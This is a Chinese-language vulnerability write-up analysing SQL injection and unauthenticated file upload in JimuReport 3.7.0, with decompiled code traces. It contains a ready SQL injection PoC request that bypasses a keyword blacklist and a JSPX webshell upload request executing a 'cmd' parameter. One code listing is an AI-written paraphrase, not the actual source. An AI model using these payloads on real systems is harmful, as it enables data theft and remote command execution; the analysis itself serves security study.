前言

本文主要是对于漏洞的静态分析,而不是动态复现,漏洞分析的版本为3.7.0

SQL注入漏洞

漏洞路由为/jeecg-boot/jmreport/qurestSql

image-20260309160751828

一开始在网上看到的poc写的说可用版本是3.4.3到3.8.1之间,还是get传参

image-20260309161008040

一看源码就知道这公开的poc可用版本肯定是写错了,虽然该接口是post传参的,我们依旧跟进JmReportDb var4 = this.reportDbService.getById(var3);,看看这行代码是起到了什么作用

image-20260309161221342

可以知道主要作用是根据ID去数据库中查询报表配置(JmReportDb对象),里面包含了原始的SQL模板

后面又去网上溜了一圈,找到了对应的poc,后面的分析也主要根据该poc进行分析

1
2
3
4
5
6
7
8
9
10
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host:
Content-Type: application/json
Content-Length: 126

{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '"}

首先一样根据apiSelectId查找对应的报表配置,我们从表中可以得到对应的SQL模板为select * from rep_demo_employee where id='${id}'

image-20260309161941669

往下走,跟进List var5 = this.reportDbService.qurestechSql(var4, var1);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public List<Map<String, Object>> qurestechSql(JmReportDb jmReportDb, JSONObject paramObject) {
// paramObject 是从 Controller 传来的用户参数
if (jmReportDb == null) return null;

String var3 = jmReportDb.getDbDynSql(); // 报表的动态SQL模板
List var4 = this.dbParamDao.list(jmReportDb.getId()); // 从数据库查出该报表预定义的参数
JSONObject var5 = new JSONObject();

// 1. 遍历预定义参数,将有默认值的参数放入 var5
Iterator var6 = var4.iterator();
while(var6.hasNext()) {
JmReportDbParam var7 = (JmReportDbParam)var6.next();
if (j.d((Object)var7.getParamValue())) {
var5.put(var7.getParamName(), var7.getParamValue()); // var5 此时包含安全的默认参数
}
}
// ...省略部分代码...

// 2. 关键覆盖:将 paramObject (用户传入的所有参数) 合并到 var5 中。
// 这意味着如果用户传了同名参数,会覆盖系统的默认值;如果传了新的参数,也会被添加进去。
var5.putAll(paramObject);

HashMap var8 = new HashMap();
String var9 = jmReportDb.getDbSource();
String var10 = j.c((Object)var9) ? "minidao" : "jdbc";

// 3. 关键调用:调用 getDbSql 生成最终要执行的 SQL 语句 (var11)
// 注意:这里传进去的 var5 是被用户参数污染过的 JSON 对象
String var11 = this.jimuReportService.getDbSql(jmReportDb, var5, var14, new ArrayList(), "", var8, var10);

// 4. 执行 SQL (根据数据源类型不同走不同分支)
String var12 = h.e(var11);
if (j.d((Object)var12)) {
return this.jmreportDynamicDbUtil.c(var9, var12, (Map)var8);
} else if (this.jmReportDbSourceService.isNoSql(var9)) {
return this.jmreportNoSqlService.findList(var11, var9);
} else if (j.c((Object)jmReportDb.getDbSource())) {
return this.reportDbDao.selectListBySql(var11, var8); // 默认走这里直接执行
} else {
return this.jmreportDynamicDbUtil.b(jmReportDb.getDbSource(), var11, (Map)var8);
}
}

主要功能就是处理报表的参数合并,并调度生成最终SQL和执行查询

List var4 = this.dbParamDao.list(jmReportDb.getId());该行代码会查出apiSelectId对应的参数是多少,并在下面的代码中赋默认值进去

image-20260309162811374

里面有一行代码比较关键,即var5.putAll(paramObject); ,通过这行代码,要是用户传了同名参数,会覆盖系统的默认值

往下走,走到String var11 = this.jimuReportService.getDbSql(jmReportDb, var5, var14, new ArrayList(), "", var8, var10);,主要作用是生成要执行的sql语句,我们跟进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public String getDbSql(JmReportDb reportDb, JSONObject paramObject, JSONObject paramJson, List<JmExpression> expList, String groupField, Map<String, Object> sqlParamsMap, String dbParamType) {
// 1. 调用 getBaseSql 获取基础的 SQL 语句 (这一步中恶意参数已经被 FreeMarker 渲染进字符串了)
String var8 = this.getBaseSql(reportDb, paramObject, sqlParamsMap, dbParamType);
// 2. 失败的安全防线:对生成的 var8 (基础SQL) 实行黑名单检查
m.a(var8);
// 3. 拼接其他条件(如有)
String var9 = this.a(reportDb, paramJson, sqlParamsMap, dbParamType);
this.a(reportDb, var8, var9, expList, sqlParamsMap);
String var10 = null;
boolean var11 = this.jmReportDbSourceService.isNoSql(reportDb.getDbSource());
boolean var12 = org.jeecg.modules.jmreport.common.util.j.d(org.jeecg.modules.jmreport.desreport.util.h.e(var8));
if (org.jeecg.modules.jmreport.common.util.j.d(groupField) && !var12 && !var11) {
String[] var13 = groupField.split("\\.");
byte var14 = 2;
if (var13.length == var14 && reportDb.getDbCode().equals(var13[0])) {
var10 = var13[1];
}
}
//最终组装成完整的sql语句
String var15 = this.a(var8, var9, var10);
return var15;
}

看得出来最重要的代码就是头两行,一个是获取到基础的sql语句,还有一个就是进行安全检查

我们先跟进String var8 = this.getBaseSql(reportDb, paramObject, sqlParamsMap, dbParamType);

该方法的代码量太多了,这里就不贴了,贴个ai的解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public String getBaseSql(JmReportDb jmReportDb, JSONObject paramJson, Map<String, Object> sqlParamsMap, String dbParamType) {
// paramJson 就是上一步被污染的 var5
String var7 = jmReportDb.getDbDynSql(); // 原始 SQL 模板,例如 "SELECT * FROM user WHERE name = '${name}'"
JSONObject var9 = new JSONObject();

// 1. 处理 WHERE 条件中的参数替换 (略过部分细节)
// ...
// 2. 再次将用户参数 paramJson 合并到 var9
var9.putAll(paramJson);

// ...处理 Token、用户信息等逻辑...

HashMap var20 = new HashMap(5);
Iterator var21 = var9.keySet().iterator();
// 3. 遍历所有参数,准备用于 FreeMarker 渲染的 Map (var20)
while(var21.hasNext()) {
var14 = (String)var21.next(); // 参数名,例如 "name"
var15 = var9.getString(var14); // 参数值,例如 "admin' OR 1=1--"
// ... (对 var15 进行了一些 ExpressUtil 评估)
var20.put(var14, var15);

// 🚨 错误的安全检查机制:只检测了特定的字段类型,并没有在进入FreeMarker之前全面拦截恶意字符串
boolean var24 = s.a(j.a(var14, ""), var7);
if (var24 && j.d((Object)var15)) {
m.a(var15); // 这里只对部分特殊表达式类型的参数做了注入检查
}
}

// 4. ✨致命操作:将 SQL 模板 (var7) 和 参数集合 (var20) 交给 FreeMarker 模板引擎进行文本替换!
// 此时 "${name}" 会被原样替换为 "admin' OR 1=1--"
var7 = FreeMarkerUtils.a(var7, (Map)var20);

return var7; // 返回渲染好的、包含恶意SQL注入片段的 SQL 字符串
}

该方法中哪一段代码是可以将我们的json传参值给赋值进去的呢,主要是下面这一段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//如果 SQL 包含 WHERE 关键字,提取与报表绑定的预设参数设定...
if (var7.contains("where")) {
List var11 = this.dbParamDao.list(var5); // 获取该报表定义的参数列表
if (var11 != null || var11.size() > 0) {
Iterator var12 = var11.iterator();
while(var12.hasNext()) {
JmReportDbParam var13 = (JmReportDbParam)var12.next();
String var14 = var13.getParamName();
Object var22;

// 处理可供用户搜索/传入的参数
if (var13.getSearchFlag() == 1) {
var22 = paramJson.get(var13.getParamName()); // 尝试从用户参数中获取该值
if (var22 == null) var22 = "";
var9.put(var14, var22);
paramJson.remove(var14); // ✨ 注意:提取后从 paramJson 中移除
} else {
// 固定参数使用系统的指定值
var9.put(var14, var13.getParamValue());
var22 = var13.getParamValue();
}

这部分首先获取了数据库中的 SQL 模板。然后遍历了这个报表原本设定好的参数(dbParamDao.list),对于设定中允许从外部获取的字段,就尝试从 paramJson(用户的外层传参)里面取,并将这些合法存在定义里的参数放进 var9,然后从 paramJsonremove 掉这些已经被处理的定义内参数。

该方法往下走会有一段检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
HashMap var20 = new HashMap(5); // 最终传给 FreeMarker 的参数 Map
Iterator var21 = var9.keySet().iterator();

while(var21.hasNext()) {
String var14 = (String)var21.next(); // 参数名
String var15 = var9.getString(var14); // 参数值 (可能包含恶意 SQL 片段)
if (j.c((Object)var15)) var15 = "";

var15 = ExpressUtil.a((String)var15, (Map)null); // 处理表达式
var20.put(var14, var15);

// 检查该字段是否在 SQL 模板 ${DaoFormat(...)} 之类特定的函数包裹中
boolean var24 = s.a(j.a(var14, ""), var7);

// 大多数字段会进这里放入 sqlParamsMap (如果它确实是作为 :name 的绑定参数)
if (sqlParamsMap.containsKey(var14) && !var24 && j.d((Object)var15)) {
if (var10.contains(var14)) {
sqlParamsMap.put(var14, h.n(var15));
} else {
sqlParamsMap.put(var14, var15);
}
}
// 如果 var24 为 true,意思是该变量在 SQL 里是动态拼接表达式,那么会调用 m.a(var15) 进行关键词拦截。
// 但是,绝大多数直接写成 '${username}' 这种模板变量的情况,s.a(...) 会返回 false!
// 返回 false,代表 m.a(var15) 这行防御代码根本不会被执行。
if (var24 && j.d((Object)var15)) {
m.a(var15);
}
}

而我们看最上面通过apiSelectId查询出来的sql语句select * from rep_demo_employee where id='${id}',在这么写的情况下var24就是被赋值为false,也就不会执行getBaseSql方法里面的m.a检测了

在该方法的末尾会进行FreeMarker渲染一手

1
2
var7 = FreeMarkerUtils.a(var7, (Map)var20);
return var7;

FreeMarkerUtils.a 的本质就是文本替换(非预编译)。它会在 var7 这个 SQL 字符串中寻找 ${攻击的字段} 的占位符,然后直接硬拼接入 var20 里的恶意值,最后将总的sql字符串返回

走回到getDbSql方法里面,接下来就是要进行m.a方法的安全性校验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static void a(String var0) {
String[] var1 = "exec |peformance_schema|information_schema|extractvalue|updatexml|geohash|gtid_subset|gtid_subtract|insert |alter |delete |grant |update |drop |master |truncate |declare |--|".split("\\|");
if (var0 != null && !"".equals(var0)) {
b(var0); // 查是否存在 '--' 等注释符
var0 = var0.toLowerCase();
if (!e(var0)) {
var0 = var0.replaceAll("/\\*.*\\*/", "");

for(int var2 = 0; var2 < var1.length; ++var2) {
if (a(var0, var1[var2])) {
b.error("请注意,存在SQL注入关键词---> {}", var1[var2]);
b.error("请注意,值可能存在SQL注入风险!---> {}", var0);
throw new JimuReportException(1001, "请注意,值可能存在SQL注入风险!--->" + var0);
}
}

String[] var7 = e;
int var3 = var7.length;

for(int var4 = 0; var4 < var3; ++var4) {
String var5 = var7[var4];
String var6 = ".*" + var5 + ".*";
if (Pattern.matches(var6, var0)) {
b.error("请注意,存在SQL注入关键词---> {}", var5);
b.error("请注意,值可能存在SQL注入风险!---> {}", var0);
throw new RuntimeException("请注意,值可能存在SQL注入风险!--->" + var0);
}
}

}
}
}

该方法的黑名单中我们可以明确地看到updatexml位于其中,那么我们是怎么绕过的呢

往下走有进行一个if从句的判断,只有当e(var0)返回false的时候才会开始一系列的关键词检测,所以我们先看看e方法是做了什么

1
2
3
4
5
private static boolean e(String var0) {
return Arrays.stream(org.jeecg.modules.jmreport.dyndb.util.b.getAllSql()).anyMatch((var1) -> {
return var1.toLowerCase().equals(var0);
});
}

遍历 getAllSql() 里面所有的项,如果和当前的整句 SQL (var0) 一模一样,就返回 true;如果输入的 SQL 不是系统预留的标准系统 SQL那么就是返回false,所以我们肯定会走进去

里面进行判断的关键代码就是a(var0, var1[var2]),跟进查看具体代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private static boolean a(String var0, String var1) {
if (var0.startsWith(var1.trim())) {
return true;
} else if (var0.contains(var1)) {
// ...
String var2 = " " + var1; // 给关键字前面加了一个【空格】!
if (d.contains(var1)) { // d 集合是 [";", "+", "--"]
var2 = var1;
}

// 如果原始 sql 中包含 " updatexml" 则返回 true
if (var0.contains(var2)) {
return true;
} else {
// 这里是一个复杂的正则容错检查逻辑
String var3 = "\\s+\\S+" + var1;
// 执行正则匹配并提取
List var4 = (List)org.jeecg.modules.jmreport.common.util.d.a((String)var3, var0, 0, new ArrayList());
Iterator var5 = var4.iterator();
String var6;
do {
if (!var5.hasNext()) {
return false; // <-- 这里没通过容错就返回 false 判定为安全
}
var6 = (String)var5.next();
// 下方是一个简单的符号判断匹配
} while(!var6.contains("%") && !var6.contains("+") && !var6.contains("#") && !var6.contains("/") && !var6.contains(")"));
return true;
}
} else {
return false;
}
}

首先进行检测的是我们的恶意sql语句中是否包含" updatexml",但我们的是" (updatexml",所以是进入else分支中

String var3 = "\\s+\\S+" + var1;\s+ 匹配一个或多个空白字符\S+ 匹配一个或多个非空白字符;所以该正则找的就是:**[空白字符] + [非空白字符] + “updatexml”**

正则表达式是可以匹配到内容的,提取出的 var4 列表中包含一个元素:" (updatexml"

开始进入do-while循环中,返回false回去,继续往下走,下面进行的关键词检测我们的poc完全没有,所以最后就顺利地通过了m.a的sql注入检测

最后在getDbSql方法中看是否还有其他条件没有添加进来的进行一个操作,最后返回已经存在了注入语句的完整sql语句回去

最后的最后会回到qurestechSql方法中,一直往下走会执行该sql语句,造成sql注入漏洞

/jmreport/upload 未授权任意文件上传漏洞分析

认证状态

Shiro 层:

ShiroConfig.java 第 123 行 /jmreport/**anonShiro 不拦截

应用层拦截器:

JimuReportConfiguration.java 第 55 行注册了 JimuReportTokenInterceptor,但 /jmreport/upload 不在拦截器的 addPathPatterns 列表中(第 47 行只拦截了 queryFieldBySql、loadTableData、dictCodeSearchtestConnection)。

结论:完全无需认证即可上传文件。


完整数据流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
POST /jmreport/upload

Content-Type: multipart/form-data

Body: file=@malicious.file & bizType=local
① 请求到达控制器 a.java 第 447 行

MultipartFile var5 = var4.getFile("file");





② 文件类型校验 (c.a(var5)) ← desreport/util/c.java 第 19 行



│ 读取文件前 10 字节 → 转 hex → 与 magic bytes 比对:

│ "3c25402070616765206c" → jsp (<%@ page l)

│ "3c3f7068700a0a2f2a2a0a202a205048" → php (<?php)

│ "3c21444f435459504520" → html (<!DOCTYPE)



│ 黑名单: private static String[] c = {"jsp", "php", "html"};



│ ⬇ 如果 magic bytes 不匹配上述三种 → 校验通过!





③ 获取 bizType 参数,决定存储方式

│ "alioss" → OSS

│ "minio" → MinIO

│ "local" → 本地文件系统

│ (以 local 为例)



④ 私有方法 a(MultipartFile, String) ← 第 1085 行



│ 路径穿越检查: var2.contains("../") || var2.contains("..\\")

│ (仅检查第二参数 bizPath="jimureport",硬编码的,不可控)



│ 获取原始文件名: var1.getOriginalFilename()

│ 拼接文件名: 原始名 + "_" + 时间戳 + 后缀

│ 存储路径: uploadPath/jimureport/filename_timestamp.ext



│ FileCopyUtils.copy(var1.getBytes(), new File(filePath))

│ ← 文件直接写入磁盘!





⑤ 返回文件相对路径 → 可通过 /jmreport/img/** (anon) 访问

黑名单过滤的致命缺陷

c.java 的文件类型校验有三个严重问题

问题 1:黑名单太短,仅拦截 3 种

1
private static String[] c = new String[]{"jsp", "php", "html"};

未拦截的危险文件类型:

文件类型 风险
.jspx JSP 变体,Tomcat 同样执行
.war Web 应用归档包
.class Java 字节码
.jar 可被反序列化利用
.sh / .bat 脚本文件
.xml Spring 配置文件注入
.svg 含 JavaScript 的 SVG 可导致 XSS

问题 2:Magic bytes 检测可绕过

检测逻辑只读取前 10 字节与 HashMap 中 3 组 magic bytes 比对。如果文件前 10 字节不匹配这三种模式,就回退到文件扩展名判断(第 61-69 行):

1
2
3
4
5
if (StringUtils.isBlank(var1)) {    // magic bytes 没匹配到
var6 = var0.getOriginalFilename();
var7 = b(var6); // 提取扩展名
return var7; // 返回扩展名
}

然后用返回的扩展名去跟黑名单 {"jsp", "php", "html"} 比较。但比较逻辑是:

1
if (var5.contains(var1))  // var5 是黑名单项,var1 是检测到的类型

注意方向反了!"jsp".contains(检测结果),不是 检测结果.contains("jsp")。所以如果文件扩展名是 .jspx"jsp".contains("jspx") 返回 false → 绕过

更关键的是:如果构造一个 JSP 文件但修改前 10 字节使其不匹配 3c25402070616765206c(即不以 <%@ page l 开头),magic bytes 匹配失败,就走扩展名检测分支。此时 JSP 文件也可能被绕过。

问题 3:异常时直接返回空字符串

1
2
3
4
5
} catch (Exception var11) {
b.error(var11.getMessage(), var11);
var4 = "";
return var4; // 返回空字符串
}

如果文件读取过程中发生异常(如文件流为空),直接返回 ""。空字符串与任何黑名单项 contains 比较都返回 true"jsp".contains("") == true),所以这个分支反而会拦截。但如果能触发特殊异常导致返回其他值,则可能绕过。


具体利用 —— 上传 JSPX Webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /jmreport/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.jspx"
Content-Type: application/xml

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:directive.page contentType="text/html"/>
<jsp:declaration>
</jsp:declaration>
<jsp:scriptlet>
Runtime rt = Runtime.getRuntime();
String cmd = request.getParameter("cmd");
Process p = rt.exec(cmd);
// ... 输出结果
</jsp:scriptlet>
</jsp:root>
------WebKitFormBoundary--

分析流程:

  1. 前 10 字节 hex:3c6a73703a726f6f7420 ← 这是 <jsp:root 的 hex
  2. 与 HashMap 中的 3 个 key 比对 → 不匹配任何一个
  3. 回退到扩展名提取 → 得到 jspx
  4. 黑名单比对:"jsp".contains("jspx")false"php".contains("jspx")false"html".contains("jspx")false
  5. 校验通过
  6. 文件保存到 uploadPath/jimureport/shell_1710000000000.jspx

但能否执行取决于部署方式: 如果上传目录在 Tomcat 的 webapp 路径下且配置了 JSP Servlet 处理 .jspx,则可以 RCE。如果上传目录是独立的静态文件目录,则 .jspx 不会被执行,但文件仍被写入服务器。


总结

维度 评估
认证 ❌ 完全无需认证
文件类型校验 ❌ 黑名单仅 3 种且可绕过(jspx、war 等不在黑名单)
Magic bytes 检测 ❌ 仅检测 3 种 magic bytes,覆盖率极低
路径穿越 ✅ bizPath 硬编码为 “jimureport”,不可控
文件名 ⚠️ 保留原始扩展名,但拼接了时间戳
严重程度 (无需认证 + 可上传危险文件类型 = 潜在 RCE)

核心根因: Shiro 对 /jmreport/** 全部放行 + 应用层拦截器未覆盖 /jmreport/upload + 文件类型黑名单过于简陋。